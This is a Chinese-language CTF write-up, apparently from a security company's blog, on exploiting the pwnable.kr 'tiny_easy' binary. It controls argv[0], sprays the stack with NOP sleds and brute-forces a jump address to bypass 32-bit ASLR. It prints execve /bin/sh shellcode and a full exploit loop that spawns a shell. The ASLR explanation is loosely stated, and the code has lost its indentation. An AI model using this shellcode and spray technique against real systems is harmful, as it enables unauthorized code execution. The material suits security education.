网站导航

新闻资讯

当前位置:首页 > 新闻资讯

CTF 一次PWN解题的小技巧

发布时间:2021-03-03

简要描述:

前几天在国外的某个ctf社区发现了一道好玩的赛题。建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。基本的Linux知...

详细介绍

前几天在国外的某个ctf社区发现了一道好玩的赛题。

建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。

  • 基本的Linux知识

  • 对于X86有基本的了解

  • 了解堆栈工作原理

  • C语言的基本知识

  • 了解缓冲区溢出漏洞的原理

  • 基本的python开发能力

本文涉及知识点实操练习:

我们可以使用pwnlib将argv [0]修改为我们自己的字符串,

from pwnlib.tubes.process import * 

argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")

print argv_program.recv()

现在,运行我们的python程序,看看我们从test_argv程序中能得到什么结果:

headImg.action?news=3bf9a2a8-44ab-40c5-9028-434f97714cbd.png

NICE !

现在,我们知道如何控制argv0参数了,这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。

下一步是检查此二进制文件的安全属性,让我们运行checksec命令看看效果:

headImg.action?news=e74735ce-bee2-483f-936b-1fd86f68ef3f.png

RELRO:这里没有RELRO保护;

堆栈:未发现堆栈canary机制;

NX:NX已禁用;

PIE: 无 PIE;

注意:默认情况下,ASLR在堆栈中是启用状态。

NX保护是一种保护机制,它不允许我们在二进制的代码部分运行代码,这意味着我们不能跳转到栈或堆上的代码来运行它们。

在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下进行编译的,这意味着我们可以跳转到堆上的代码。

这里需要强调一点的是:你如果一开始就直接检查这类保护,整个过程会给你节省很多时间。

在这个例子中,因为我们无法控制返回的地址,而且NX被禁用,那么我们最好的选择就是集中精力找到一种方法跳转到栈上,并执行我们存储在某个参数中的shellcode。

同时,另一方面,如果NX被启用了,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc等许多其他方法)。

现在我们可以控制我们要跳转的位置了,同时我们需要处理ASLR在堆栈层已经被启用这个问题。

我们可以尝试找一条允许我们跳转到堆栈的指令,然后运行我们的shellcode,程序中的其余字节是elf头的一部分。

headImg.action?news=34e2e449-42c7-4131-9837-5e190d1e9b1e.png

我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。

headImg.action?news=7f200a00-5343-4e5a-b2ef-ffbdb06ba546.png

看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈,在那里我们能够得到我们存储在参数中的shellcode。

我喜欢手动进行搜索,所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。

如果我们尝试反汇编jmp esp,那么得到的结果是:ff e4

我们尝试使用search-> bytesequence在IDA中搜索此字节。

what?没结果?

headImg.action?news=71c85bb5-c44e-4d3b-b378-d674a7e8f76e.png

我试着搜索调用esp的字节,却什么也没找到 !

这就郁闷了!

我们想跳转到堆栈上的代码,但是由于ASLR的存在,我们不知道要跳转到什么地址。

我们尝试找到一个指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。

我尝试了另一个骚操作:跳转到一个允许你向代码部分写入字节的指令。

你可以尝试用这个方法:用jmp esp操作码覆盖其中的一条指令的地址,然后跳转到该指令的地址。

这个过程就像开火车一样,边开边建轨道。

不幸的是,当我用view->Open subviews->segments看看有哪些段的权限的时候,发现了以下的内容。

headImg.action?news=d3400588-5611-42e5-b002-9615160b8ca7.png

代码部分仅启用了R和X权限

R-读取权限

X-执行权限

W(写)权限被禁用。

这意味着,如果我们重写代码部分的指令,程序就会崩溃。

我在这个程序上已经用了好几个小时了,尝试了不同的跳转指令的方法,但是我找不到进入栈的方法。

然后,what should I do?

32位的ASLR

我开始尝试查阅32位系统上的ASLR的实现原理(特别强调,我们的二进制文件是32位的)。我找到了下面的解释:

"对于32位,有2^32 (4 294 967 296)个地址,然而,内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。

这意味着堆栈的大小可以调整到65,536个字节。

如果我们可以控制数万个shellcode字节,那么我们就可以尝试在堆栈中跳转到一个固定的地址,这样就会有很高的成功率。

下面我检查了一下是否可以用长字符串发送大量的参数。

from pwnlib.tubes.process import *

for i in range(600):
argv.append("a"*1024)

argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")

print argv_program.recv()

headImg.action?news=9564e876-be61-46ab-b8be-535f7a6e34b8.png

在本例中,我们向程序发送了6014400个字节并成功运行。

我们可以传递我们的参数来填满nops,最后发送我们的shellcode。

这样,我们就可以跳转到堆栈上的一个随机地址,希望能够落在我们的nop指令上,然后我们就会一路滑向我们的shellcode。

我写了以下的代码,尝试执行程序。

我们在这里尝试跳转到堆栈上的一个恒定地址:0xffb05544,选择这个地址有两个原因。

1.在这个程序中,我注意到在用gdb执行了很多次之后,这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。

2.我们需要一个没有任何null字节的地址,否则我们会得到

一个异常:"Inappropriate nulls in argv[0]:"

所以我写了以下代码:

import struct
import random
from pwnlib.tubes.process import *
from pwnlib.exception import *
import pwnlib

EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

def build_shellcode(address):

"""
Build shellcode
address - address to jump to
"""

args = []
args.append(address)
shellcode =   "\x90"*8000 + EXECV
for i in range(120):
    args.append(shellcode)
return args

if __name__ == "__main__":
jump_address = struct.pack("I", 0xffb05544)
for i in range(10000000):
    try:
        prog_args = build_shellcode(jump_address)
        print "attempt number: {}".format(i + 1 )
        pro = process(argv=prog_args,
            env={},    
                      executable="/home/user/CTFs/Pwnables/tiny_easy/tiny_easy")
        print "started_running address {}".format(hex(struct.unpack("I",jump_address)[0]))
        pro.timeout=0.08

        # Send command shell of the process
        pro.sendline("echo we_made_it!")

        # Recv the result of the command execution  
        data = pro.recvline()


        if data:
            print "received data!"
            print data
            break
    except (EOFError, pwnlib.exception.PwnlibException) as e:
        print e

这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果我们成功了,那么我们将能够发送命令"echo we_made_it",看看它的输出。

说干就干!

headImg.action?news=62a6220e-bc16-47a7-ad3a-071127b40778.png

成功了!现在我们来CTF服务器上检查一下。

请注意,我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag ",这样就得到了flag。

我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下,就像这样。

scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py

headImg.action?news=65f8f26b-192e-401b-8126-fa366d9383eb.png

终于拿到了我们的flag !

总结

行文至此,本次测试也就结束了!文章略长,简单做个总结:

在本文中,我们通过使用CTF示例讨论了漏洞利用开发的过程,我们了解了程序如何从argv和argc接收输入的参数。最后,了解了由于较小的随机范围,32位系统中的ASLR为何容易受到攻击,以及如何利用此漏洞进行攻击。

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭